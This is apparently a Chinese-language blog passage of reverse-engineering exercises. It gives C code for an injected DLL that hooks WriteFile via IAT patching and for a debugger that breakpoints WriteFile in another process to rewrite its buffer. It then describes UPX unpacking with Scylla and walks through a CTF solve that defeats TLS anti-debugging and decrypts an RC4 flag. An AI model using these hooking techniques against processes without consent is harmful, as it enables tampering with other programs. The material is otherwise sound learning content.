LPOVERLAPPED lpOverlapped
);

// 全局变量:保存原始WriteFile函数地址(使用正确的函数指针类型)
PROC proc = nullptr;
BOOL WINAPI procnew(
HANDLE hFile,
LPCVOID lpBuffer,
DWORD nNumberOfBytesToWrite,
LPDWORD lpNumberOfBytesWritten,
LPOVERLAPPED lpOverlapped
);
BOOL Hook_iat(LPCSTR DllName, WriteFileFuncPtr proc, WriteFileFuncPtr procnew);
BOOL APIENTRY DllMain( HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL, "WriteFile Hook 成功!", "DLL 注入提示", MB_OK | MB_ICONINFORMATION);
proc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "WriteFile");
Hook_iat("kernel32.dll", (WriteFileFuncPtr)proc, procnew);//提取原本的writefile函数
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
Hook_iat("kernel32.dll", procnew, (WriteFileFuncPtr)proc);
break;
}
return TRUE;
}
BOOL WINAPI procnew(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped)//编写钩子函数
{
char* newBuffer = new char[nNumberOfBytesToWrite];
memcpy(newBuffer, lpBuffer, nNumberOfBytesToWrite);

for (int k = 0; k < nNumberOfBytesToWrite; k++)
{
if (97 <= newBuffer[k] && newBuffer[k] <= 122)
newBuffer[k] -= 0x20; // 小写转大写
else if (65 <= newBuffer[k] && newBuffer[k] <= 90)
newBuffer[k] += 0x20; // 大写转小写
}
((WriteFileFuncPtr)proc)(hFile, newBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped);
delete[] newBuffer;
return TRUE;

};
BOOL Hook_iat(LPCSTR DllName, WriteFileFuncPtr proc, WriteFileFuncPtr procnew)
{
HMODULE hMod;
hMod = GetModuleHandleW(NULL);
PBYTE pAddr = (PBYTE)hMod;
IMAGE_NT_HEADERS64 NT = *(PIMAGE_NT_HEADERS64)(pAddr + *(DWORD*)&pAddr[0x3c]);
PIMAGE_IMPORT_DESCRIPTOR Import = (PIMAGE_IMPORT_DESCRIPTOR)(NT.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + pAddr);
for (; Import->Name; Import++)
{
if (!_stricmp((const char*)(pAddr + (DWORD64)Import->Name), DllName))
{
PIMAGE_THUNK_DATA64 IAT = (PIMAGE_THUNK_DATA64)(Import->FirstThunk+ pAddr);
for (; IAT->u1.Function;IAT++)
{
if (IAT->u1.Function == (DWORD64)proc)//找到iat表中write
{
DWORD OldProtect;
VirtualProtect((LPVOID)&IAT->u1.Function, 4, PAGE_EXECUTE_READWRITE, &OldProtect);
IAT->u1.Function = (DWORD64)procnew;
VirtualProtect((LPVOID)&IAT->u1.Function, 4, OldProtect, &OldProtect);
return TRUE;
}
}
}
}
return FALSE;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#include<stdio.h>
#include<windows.h>
LPVOID proc;
DWORD int0=0,int3=0xcc;
main() {
EnablePrivilege(SE_DEBUG_NAME, TRUE);
DWORD PID;
scanf_s("%d",&PID);
DebugActiveProcess(PID);
DEBUG_EVENT pe;
while (WaitForDebugEvent(&pe, INFINITE))//等待调试
{
if (pe.dwDebugEventCode == CREATE_PROCESS_DEBUG_EVENT)
hook1(&pe);//初次调试设置断点
else if (pe.dwDebugEventCode == EXCEPTION_DEBUG_EVENT)
hook2(&pe);//遇到断点修改内容
else if(pe.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT)
break;
ContinueDebugEvent(pe.dwProcessId, pe.dwThreadId, DBG_CONTINUE);
}
}
BOOL hook1(LPDEBUG_EVENT pe)
{
proc = GetProcAddress(GetModuleHandleA("Kernel32.dll"), "WriteFile");
ReadProcessMemory(pe->u.CreateProcessInfo.hProcess, proc, &int0, sizeof(DWORD), NULL);//保存促使值
WriteProcessMemory(pe->u.CreateProcessInfo.hProcess, proc, &int3, sizeof(DWORD), NULL);//设置断点
return TRUE;
}
BOOL hook2(LPDEBUG_EVENT pe)
{
if (pe->u.Exception.ExceptionRecord.ExceptionCode == EXCEPTION_BREAKPOINT)
{
if (pe->u.Exception.ExceptionRecord.ExceptionAddress == proc)
{
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe->dwProcessId);
HANDLE hThread = OpenThread(
THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
FALSE, pe->dwThreadId
);
WriteProcessMemory(hProcess, proc, &int0, sizeof(DWORD), NULL);//恢复断点
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER;
if(!GetThreadContext(hThread, &ctx))
printf("true%d",GetLastError());//获得寄存器值
printf("\nRCX (hFile): 0x%016llX\n", ctx.Rcx);
printf("RDX (lpBuffer): 0x%016llX\n", ctx.Rdx);
printf("R8 (nNumberOfBytesToWrite): 0x%016llX\n", ctx.R8);//当时那上下文的时候老是拿不到
PBYTE Buffer;
PBYTE pRemoteData = ctx.Rdx;
DWORD pRemoteDataLen = ctx.R8;
Buffer = malloc(pRemoteDataLen + 1);
memset(Buffer, 0, pRemoteDataLen + 1);
if (!ReadProcessMemory(hProcess, (LPVOID)pRemoteData, Buffer, pRemoteDataLen, NULL))
{
printf("read memory wrong!%x",GetLastError());
}
for (int k = 0; k < pRemoteDataLen; k++)
{
if(97<=Buffer[k]&&Buffer[k]<=122)
Buffer[k] -= 0x20;//大写转小写
else if(65<= Buffer[k] && Buffer[k] <= 90)
Buffer[k] += 0x20;
}
WriteProcessMemory(hProcess, (LPVOID)pRemoteData, Buffer, pRemoteDataLen, NULL);
free(Buffer);
ctx.Rip = (DWORD64)proc;
SetThreadContext(hThread, &ctx);//纠正运行地址
ContinueDebugEvent(pe->dwProcessId, pe->dwThreadId, DBG_CONTINUE);
WriteProcessMemory(pe->u.CreateProcessInfo.hProcess, proc, &int3, sizeof(DWORD), NULL);
return TRUE;
}
}
return FALSE;
}
BOOL EnablePrivilege(LPCTSTR Privilege, BOOL enable)
{
LUID Luid;
TOKEN_PRIVILEGES TokenPrivileges;
HANDLE Token;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &Token);
LookupPrivilegeValueA(NULL, Privilege, &Luid);
TokenPrivileges.PrivilegeCount = 1;
TokenPrivileges.Privileges[0].Luid = Luid;
TokenPrivileges.Privileges[0].Attributes = enable;
if(!AdjustTokenPrivileges(Token, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
printf("false%d", GetLastError());
}

这两个实现的效果都是在文件保存后中的英文字母大小写互换

练一下手脱upx+用esp定律加scylla的方法

image-20260413131950179

直接在内存中打开栈顶并下硬件断点4字节的访问断点然后运行(原理就是upx解压相当于一个函数开头会压入栈结尾会输出栈)

image-20260413131925360

再用scylla来dump和修复

依次是dump将内存中的代码复制下来

再是iat autosearch 再到iat表中每个地址对应得是那个dll中得函数

然后get imports来建立函数和dll中导出表得关系

最后fixdunmp重新来填入INT让程序可以运行

image-20260413132600572

顺便解密下这个题

image-20260413132648693

这个头就是解密完了但是upx的效验头其中byte_401171就是主函数

image-20260413132820219

这里是一个常见的花指令由于一定会跳到loc_409030+1去执行后面的

image-20260413132944576

loc_409030位置的E8是call命令就形成干扰直接nop加u c p一下重新编译

image-20260413134258057

image-20260413134327464

找到主函数和地图起点终点得答案

image-20260413134444809

image-20260413134710200

image-20260409082707423

打开程序可以看到逻辑非常简单但是sub_7FF7C68B1320很明显是scanf函数答案又不可能是scuctf{fakeflag}

所以猜测有stl反调

打开TlsDirectory查看回调函数

image-20260409083059688

image-20260409083320531

这里就是两个个反调试

image-20260409083629994

这个是挂钩函数的主函数这里nop掉前面所有反函数后就可以看到

v5的值

image-20260409083907720

unk_14001D178的值

image-20260409083937535

可以看到它将_imp_strcmp指向的ucrtbased_strcmp放在了unk_14001D178上

image-20260409083346785

这个是sub_14001132A(func1)函数的主要逻辑

其中sub_7FF628F611FE()的逻辑就是下面的那张图将unk_14001D178保存的值还给_imp_strcmp指向地方

而下面的就是rc4加密然后再调用__imp_memcmp

image-20260409083434242

image-20260409083456953

这张图是sub_7FF628F61046()的主要逻辑就是将__imp_memcmp指向的值换为sub_14001132A(func1)函数

总结一下这个题的逻辑就是在tls中将j_strcmp钩取然后在主程序使用时调用先还原j_strcmp然后rc4加密再用还原的j_strcmp将密文和下面j_strcmp真正的密钥对比,而scuctf{fakeflag}时密钥。

image-20260409092756473

密文就是unk_7FF628F6D120( 0x98, 0x11, 0xA1, 0x15, 0x1B, 0xFA, 0x99, 0xAB, 0xAF, 0xEA, 0x63, 0xCB, 0xB3, 0x98, 0x52, 0x1C,
0x0D, 0xD5, 0xCE, 0xDA, 0xC4, 0xAF, 0x07, 0xA3, 0x4F, 0xB2, 0x65, 0x99, 0x15, 0x8A, 0xE1, 0x02, 0x4C, 0x3A, 0x1A, 0x69, 0x86, 0xCD, 0x56, 0x9C, 0xCA, 0x2C, 0x40, 0x4A)

由于这个rc4加密将交换改为了异或交换使得它不能用在线工具接的这是解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include<stdio.h>
#include<string.h>

void decrypt(char* a1, char* a2, int data_len)
{
unsigned char v1[256];
unsigned char v2[256];
unsigned char temp;

for (int j = 0; j < 256; ++j)
{
v1[j] = j;
int v16 = strlen(a2);
v2[j] = a2[j % v16];
}
unsigned int x1 = 0;
unsigned int x2 = 0;
while (x1 < 256)
{
x2 = (v2[x1] + v1[x1] + x2) % 256;
int v14 = v1[x2] ^ v1[x1];
v1[x1] = v14;
int v15 = v14 ^ v1[x2];
v1[x2] = v15;
v1[x1] ^= v15;
++x1;
}
unsigned int y1 = 0;
unsigned int y2 = 0;
unsigned int y3 = 0;
while (y1 < data_len)
{
y2 = (y2 + 1) % 256;
y3 = (v1[y2] + y3) % 256;
int v14 = v1[y3] ^ v1[y2];
v1[y2] = v14;
int v15 = v14 ^ v1[y3];
v1[y3] = v15;
v1[y2] ^= v15;
int v13 = (v1[y3] + v1[y2]) % 256;
a1[y1++] ^= v1[v13];
}
}

int main()
{
unsigned char a2[] = "scuctf{fakeflag}";
unsigned char a1[45] = {
0x98, 0x11, 0xA1, 0x15, 0x1B, 0xFA, 0x99, 0xAB,
0xAF, 0xEA, 0x63, 0xCB, 0xB3, 0x98, 0x52, 0x1C,
0x0D, 0xD5, 0xCE, 0xDA, 0xC4, 0xAF, 0x07, 0xA3,
0x4F, 0xB2, 0x65, 0x99, 0x15, 0x8A, 0xE1, 0x02,
0x4C, 0x3A, 0x1A, 0x69, 0x86, 0xCD, 0x56, 0x9C,
0xCA, 0x2C, 0x40, 0x4A
};
decrypt(a1, a2, 44);
printf("解密结果:");
for (int i = 0; i < 44; i++) printf("%c", a1[i]);
printf("\n");
return 0;
}

image-20260409152252109

0%